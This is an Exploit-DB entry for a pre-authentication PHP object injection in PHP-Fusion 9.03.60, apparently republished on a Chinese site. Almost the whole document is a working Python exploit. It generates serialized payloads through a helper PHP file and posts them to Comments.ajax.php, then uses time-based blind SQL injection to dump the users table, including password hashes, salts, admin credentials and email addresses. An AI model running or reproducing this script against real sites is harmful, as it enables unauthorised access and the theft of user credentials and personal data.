PHP-Fusion 9.03.60 – PHP Object Injection

  • 作者: coiffeur
    日期: 2020-07-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48630/
  • # Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection
    # Date: 2020-05-26
    # Exploit Author: coiffeur
    # Vendor Homepage: https://www.php-fusion.co.uk/home.php
    # Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
    # Version: v9.03.60
    
    # Description:
    # PHP Object Injection to SQL injection (pre-auth)
    
    
    import sys
    
    import requests
    
    import subprocess
    
    GENERATOR_NAME = "gen.php"
    GENERATOR_CONTENT = """<?php
    if (count($argv) < 2) {
    echo 'Usage: php gen.php "<PAYLOAD>"';
    die;
    }
    
    $ar["comment_item_id"] = "1";
    $ar["comment_item_type"] = $argv[1];
    
    $payload = urlencode(base64_encode(serialize($ar)));
    echo $payload;
    ?>
    """
    
    
    DEBUG = 1
    DELTA = None
    TRESHOLD = 0.60
    LIKE = "f%admin"
    COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
     "user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]
    
    
    def usage():
    banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
    SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
    DESCRIPTION:
    Dump the content of the table named fusionX...X_users
    AUTHOR: coiffeur
    """
    print(banner)
    
    
    def generator(action):
    if action == "w":
    with open(GENERATOR_NAME, "w") as f:
    f.write(GENERATOR_CONTENT)
    if action == "r":
    _ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)
    
    
    def generate_payload(text):
    p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
    out, _ = p.communicate()
    return out
    
    
    def check(payload):
    datas = {"comment_options": generate_payload(payload)}
    r = requests.post(
    url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
    return r.elapsed.total_seconds()
    
    
    def evaluate_delay():
    global DELTA
    deltas = []
    payload = "' UNION SELECT SLEEP(2)-- - '"
    for _ in range(3):
    deltas.append(check(payload))
    DELTA = sum(deltas)/len(deltas)
    
    
    def get_tbl_name_len():
    i = 0
    while 1:
    payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
    if check(payload) >= DELTA*TRESHOLD:
    return i-1
    if i > 100:
    print(f"[x] Exploit failed")
    exit(-1)
    i += 1
    
    
    def get_tbl_name(length):
    tbl_name = ""
    for i in range(1, length+1):
    min, max = 0, 127-1
    while min < max:
    mid = (max + min) // 2
    payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
    if check(payload) >= DELTA*TRESHOLD:
    max = mid
    else:
    min = mid + 1
    tbl_name += chr(min)
    if DEBUG:
    print(f"[DEBUG] Table name: {tbl_name}")
    return tbl_name
    
    
    def get_rows_number(tbl_name):
    i = 0
    while 1:
    payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
    if check(payload) >= DELTA*TRESHOLD:
    return i
    i += 1
    
    
    def get_elt_len(tbl_name, column_name, offset):
    i = 0
    while 1:
    payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
    if check(payload) >= DELTA*TRESHOLD:
    if DEBUG:
    print(
    f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
    return i-1
    i += 1
    
    
    def get_elt(tbl_name, column_name, offset, length):
    elt = ""
    for i in range(1, length+1):
    min, max = 0, 127-1
    while min < max:
    mid = (max + min) // 2
    payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
    if check(payload) >= DELTA*TRESHOLD:
    max = mid
    else:
    min = mid + 1
    elt += chr(min)
    if DEBUG:
    print(
    f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
    print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
    return elt
    
    
    def get_rows(tbl_name, row_number):
    print(f"[*] Trying to dump {tbl_name}")
    rows = []
    for offset in range(row_number):
    row = []
    for column_name in COLUMNS:
    elt_length = get_elt_len(tbl_name, column_name, offset)
    row.append(get_elt(tbl_name, column_name, offset, elt_length))
    print(f"[*] Row {offset}: {row}")
    rows.append(row)
    print(f"[*] Rows: {rows}")
    
    
    def main():
    if len(sys.argv) < 2:
    print(usage())
    exit(-1)
    
    if DEBUG:
    print(f"[*] Target: {sys.argv[1]}")
    
    if DEBUG:
    print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
    generator("w")
    
    evaluate_delay()
    if DEBUG:
    print(f"[*] Delta: {DELTA}")
    
    tbl_name_len = get_tbl_name_len()
    if DEBUG:
    print(
    f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")
    
    tbl_name = get_tbl_name(tbl_name_len)
    print(f"Table name: {tbl_name}")
    
    prefix = f"{tbl_name.split('_')[0]}_"
    print(f"[*] Prefix: {prefix}")
    
    user_table_name = f"{prefix}users"
    
    number_of_rows = get_rows_number(user_table_name)
    if DEBUG:
    print(f"[*] {user_table_name} got {number_of_rows} rows")
    
    get_rows(user_table_name, number_of_rows)
    
    if DEBUG:
    print(f"[DEBUG] Removing{GENERATOR_NAME}")
    generator("r")
    
    
    if __name__ == "__main__":
    main()